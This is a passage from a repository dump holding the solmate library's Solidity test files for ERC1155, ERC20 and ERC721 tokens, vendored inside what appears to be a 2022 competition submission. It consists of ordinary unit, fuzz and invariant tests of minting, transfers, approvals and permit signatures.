transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new NonERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromToRevertingERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new RevertingERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new WrongReturnDataERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromWithArrayLengthMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        if (ids.length == transferAmounts.length) revert();\n\n        token.batchMint(address(from), ids, mintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, ids, transferAmounts, transferData);\n    }\n\n    function testFailBatchMintToZero(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(0)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(0)][id] += mintAmount;\n        }\n\n        token.batchMint(address(0), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToNonERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        NonERC1155Recipient to = new NonERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToRevertingERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        RevertingERC1155Recipient to = new RevertingERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToWrongReturnDataERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintWithArrayMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        if (ids.length == amounts.length) revert();\n\n        token.batchMint(address(to), ids, amounts, mintData);\n    }\n\n    function testFailBatchBurnInsufficientBalance(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedBurnAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            normalizedBurnAmounts[i] = bound(burnAmounts[i], normalizedMintAmounts[i] + 1, type(uint256).max);\n\n            userMintAmounts[to][id] += normalizedMintAmounts[i];\n        }\n\n        token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);\n\n        token.batchBurn(to, normalizedIds, normalizedBurnAmounts);\n    }\n\n    function testFailBatchBurnWithArrayLengthMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        if (ids.length == burnAmounts.length) revert();\n\n        token.batchMint(to, ids, mintAmounts, mintData);\n\n        token.batchBurn(to, ids, burnAmounts);\n    }\n\n    function testFailBalanceOfBatchWithArrayMismatch(address[] memory tos, uint256[] memory ids) public view {\n        if (tos.length == ids.length) revert();\n\n        token.balanceOfBatch(tos, ids);\n    }\n\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ERC20.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC20} from \"./utils/mocks/MockERC20.sol\";\nimport {ERC20User} from \"./utils/users/ERC20User.sol\";\n\ncontract ERC20Test is DSTestPlus {\n    MockERC20 token;\n\n    function setUp() public {\n        token = new MockERC20(\"Token\", \"TKN\", 18);\n    }\n\n    function invariantMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n        assertEq(token.decimals(), 18);\n    }\n\n    function testMetaData() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n        assertEq(token.decimals(), 18);\n    }\n\n    function testMint() public {\n        token.mint(address(0xBEEF), 1e18);\n\n        assertEq(token.totalSupply(), 1e18);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1e18);\n        token.burn(address(0xBEEF), 0.9e18);\n\n        assertEq(token.totalSupply(), 1e18 - 0.9e18);\n        assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);\n    }\n\n    function testApprove() public {\n        assertTrue(token.approve(address(0xBEEF), 1e18));\n\n        assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);\n    }\n\n    function testTransfer() public {\n        token.mint(address(this), 1e18);\n\n        assertTrue(token.transfer(address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.balanceOf(address(this)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testTransferFrom() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n\n        from.approve(address(this), 1e18);\n\n        assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.allowance(address(from), address(this)), 0);\n\n        assertEq(token.balanceOf(address(from)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testInfiniteApproveTransferFrom() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n\n        from.approve(address(this), type(uint256).max);\n\n        assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.allowance(address(from), address(this)), type(uint256).max);\n\n        assertEq(token.balanceOf(address(from)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testPermit() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n\n        assertEq(token.allowance(owner, address(0xCAFE)), 1e18);\n        assertEq(token.nonces(owner), 1);\n    }\n\n    function testFailTransferInsufficientBalance() public {\n        token.mint(address(this), 0.9e18);\n        token.transfer(address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromInsufficientAllowance() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n        from.approve(address(this), 0.9e18);\n        token.transferFrom(address(from), address(0xBEEF), 1e18);\n    }\n\n    function testFailTransferFromInsufficientBalance() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 0.9e18);\n        from.approve(address(this), 1e18);\n        token.transferFrom(address(from), address(0xBEEF), 1e18);\n    }\n\n    function testFailPermitBadNonce() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 1, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n    }\n\n    function testFailPermitBadDeadline() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);\n    }\n\n    function testFailPermitPastDeadline() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp - 1))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp - 1, v, r, s);\n    }\n\n    function testFailPermitReplay() public {\n        uint256 privateKey = 0xBEEF;\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))\n                )\n            )\n        );\n\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n        token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);\n    }\n\n    function testMetaData(\n        string calldata name,\n        string calldata symbol,\n        uint8 decimals\n    ) public {\n        MockERC20 tkn = new MockERC20(name, symbol, decimals);\n        assertEq(tkn.name(), name);\n        assertEq(tkn.symbol(), symbol);\n        assertEq(tkn.decimals(), decimals);\n    }\n\n    function testMint(address from, uint256 amount) public {\n        token.mint(from, amount);\n\n        assertEq(token.totalSupply(), amount);\n        assertEq(token.balanceOf(from), amount);\n    }\n\n    function testBurn(\n        address from,\n        uint256 mintAmount,\n        uint256 burnAmount\n    ) public {\n        burnAmount = bound(burnAmount, 0, mintAmount);\n\n        token.mint(from, mintAmount);\n        token.burn(from, burnAmount);\n\n        assertEq(token.totalSupply(), mintAmount - burnAmount);\n        assertEq(token.balanceOf(from), mintAmount - burnAmount);\n    }\n\n    function testApprove(address to, uint256 amount) public {\n        assertTrue(token.approve(to, amount));\n\n        assertEq(token.allowance(address(this), to), amount);\n    }\n\n    function testTransfer(address from, uint256 amount) public {\n        token.mint(address(this), amount);\n\n        assertTrue(token.transfer(from, amount));\n        assertEq(token.totalSupply(), amount);\n\n        if (address(this) == from) {\n            assertEq(token.balanceOf(address(this)), amount);\n        } else {\n            assertEq(token.balanceOf(address(this)), 0);\n            assertEq(token.balanceOf(from), amount);\n        }\n    }\n\n    function testTransferFrom(\n        address to,\n        uint256 approval,\n        uint256 amount\n    ) public {\n        amount = bound(amount, 0, approval);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), amount);\n\n        from.approve(address(this), approval);\n\n        assertTrue(token.transferFrom(address(from), to, amount));\n        assertEq(token.totalSupply(), amount);\n\n        uint256 app = address(from) == address(this) || approval == type(uint256).max ? approval : approval - amount;\n        assertEq(token.allowance(address(from), address(this)), app);\n\n        if (address(from) == to) {\n            assertEq(token.balanceOf(address(from)), amount);\n        } else {\n            assertEq(token.balanceOf(address(from)), 0);\n            assertEq(token.balanceOf(to), amount);\n        }\n    }\n\n    function testPermit(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n\n        assertEq(token.allowance(owner, to), amount);\n        assertEq(token.nonces(owner), 1);\n    }\n\n    function testFailBurnInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 burnAmount\n    ) public {\n        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(to, mintAmount);\n        token.burn(to, burnAmount);\n    }\n\n    function testFailTransferInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 sendAmount\n    ) public {\n        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(this), mintAmount);\n        token.transfer(to, sendAmount);\n    }\n\n    function testFailTransferFromInsufficientAllowance(\n        address to,\n        uint256 approval,\n        uint256 amount\n    ) public {\n        amount = bound(amount, approval + 1, type(uint256).max);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), amount);\n        from.approve(address(this), approval);\n        token.transferFrom(address(from), to, amount);\n    }\n\n    function testFailTransferFromInsufficientBalance(\n        address to,\n        uint256 mintAmount,\n        uint256 sendAmount\n    ) public {\n        sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);\n\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), mintAmount);\n        from.approve(address(this), sendAmount);\n        token.transferFrom(address(from), to, sendAmount);\n    }\n\n    function testFailPermitBadNonce(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline,\n        uint256 nonce\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n        if (nonce == 0) nonce = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, nonce, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n\n    function testFailPermitBadDeadline(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline + 1, v, r, s);\n    }\n\n    function testFailPermitPastDeadline(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        deadline = bound(deadline, 0, block.timestamp - 1);\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n\n    function testFailPermitReplay(\n        uint256 privateKey,\n        address to,\n        uint256 amount,\n        uint256 deadline\n    ) public {\n        if (deadline < block.timestamp) deadline = block.timestamp;\n        if (privateKey == 0) privateKey = 1;\n\n        address owner = hevm.addr(privateKey);\n\n        (uint8 v, bytes32 r, bytes32 s) = hevm.sign(\n            privateKey,\n            keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    token.DOMAIN_SEPARATOR(),\n                    keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))\n                )\n            )\n        );\n\n        token.permit(owner, to, amount, deadline, v, r, s);\n        token.permit(owner, to, amount, deadline, v, r, s);\n    }\n}\n\ncontract ERC20Invariants is DSTestPlus, DSInvariantTest {\n    BalanceSum balanceSum;\n    MockERC20 token;\n\n    function setUp() public {\n        token = new MockERC20(\"Token\", \"TKN\", 18);\n        balanceSum = new BalanceSum(token);\n\n        addTargetContract(address(balanceSum));\n    }\n\n    function invariantBalanceSum() public {\n        assertEq(token.totalSupply(), balanceSum.sum());\n    }\n}\n\ncontract BalanceSum {\n    MockERC20 token;\n    uint256 public sum;\n\n    constructor(MockERC20 _token) {\n        token = _token;\n    }\n\n    function mint(address from, uint256 amount) public {\n        token.mint(from, amount);\n        sum += amount;\n    }\n\n    function burn(address from, uint256 amount) public {\n        token.burn(from, amount);\n        sum -= amount;\n    }\n\n    function approve(address to, uint256 amount) public {\n        token.approve(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public {\n        token.transferFrom(from, to, amount);\n    }\n\n    function transfer(address to, uint256 amount) public {\n        token.transfer(to, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/solmate/src/test/ERC721.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC721} from \"./utils/mocks/MockERC721.sol\";\nimport {ERC721User} from \"./utils/users/ERC721User.sol\";\n\nimport {ERC721TokenReceiver} from \"../tokens/ERC721.sol\";\n\ncontract ERC721Recipient is ERC721TokenReceiver {\n    address public operator;\n    address public from;\n    uint256 public id;\n    bytes public data;\n\n    function onERC721Received(\n        address _operator,\n        address _from,\n        uint256 _id,\n        bytes calldata _data\n    ) public virtual override returns (bytes4) {\n        operator = _operator;\n        from = _from;\n        id = _id;\n        data = _data;\n\n        return ERC721TokenReceiver.onERC721Received.selector;\n    }\n}\n\ncontract RevertingERC721Recipient is ERC721TokenReceiver {\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        revert(string(abi.encodePacked(ERC721TokenReceiver.onERC721Received.selector)));\n    }\n}\n\ncontract WrongReturnDataERC721Recipient is ERC721TokenReceiver {\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        return 0xCAFEBEEF;\n    }\n}\n\ncontract NonERC721Recipient {}\n\ncontract ERC721Test is DSTestPlus {\n    MockERC721 token;\n\n    function setUp() public {\n        token = new MockERC721(\"Token\", \"TKN\");\n    }\n\n    function invariantMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n    }\n\n    function testMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n    }\n\n    function testMint() public {\n        token.mint(address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1337);\n        token.burn(1337);\n\n        assertEq(token.totalSupply(), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 0);\n        assertEq(token.ownerOf(1337), address(0));\n    }\n\n    function testApprove() public {\n        token.mint(address(this), 1337);\n\n        token.approve(address(0xBEEF), 1337);\n\n        assertEq(token.getApproved(1337), address(0xBEEF));\n    }\n\n    function testApproveAll() public {\n        token.setApprovalForAll(address(0xBEEF), true);\n\n        assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));\n    }\n\n    function testTransferFrom() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.approve(address(this), 1337);\n\n        token.transferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testTransferFromSelf() public {\n        token.mint(address(this), 1337);\n\n        token.transferFrom(address(this), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(this)), 0);\n    }\n\n    function testTransferFromApproveAll() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.transferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToEOA() public {\n        ERC721User from = new ERC721User(token);\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(0xBEEF));\n        assertEq(token.balanceOf(address(0xBEEF)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n    }\n\n    function testSafeTransferFromToERC721Recipient() public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), 1337);\n        assertBytesEq(recipient.data(), \"\");\n    }\n\n    function testSafeTransferFromToERC721RecipientWithData() public {\n        ERC721User from = new ERC721User(token);\n        ERC721Recipient recipient = new ERC721Recipient();\n\n        token.mint(address(from), 1337);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(recipient), 1337, \"testing 123\");\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.getApproved(1337), address(0));\n        assertEq(token.ownerOf(1337), address(recipient));\n        assertEq(token.balanceOf(address(recipient)), 1);\n        assertEq(token.balanceOf(address(from)), 0);\n\n        assertEq(recipient.operator(), address(this));\n        assertEq(recipient.from(), address(from));\n        assertEq(recipient.id(), 1337);\n        assertBytesEq(recipient.data(), \"testing 123\");\n    }\n\n    function testSafeMintToEOA() public {\n        token.safeMint(address(0xBEEF), 1337);\n\n        assertEq(token.totalSupply(), 1);\n        assertEq(token.ownerOf(1337), address(address(0xBEEF)));\n        assertEq(token.balanceOf(address(address(0xBEEF))), 1);\n    }\n\n    function testSafeMintToERC721Recipient() public {\n        ERC721Recipient to = new 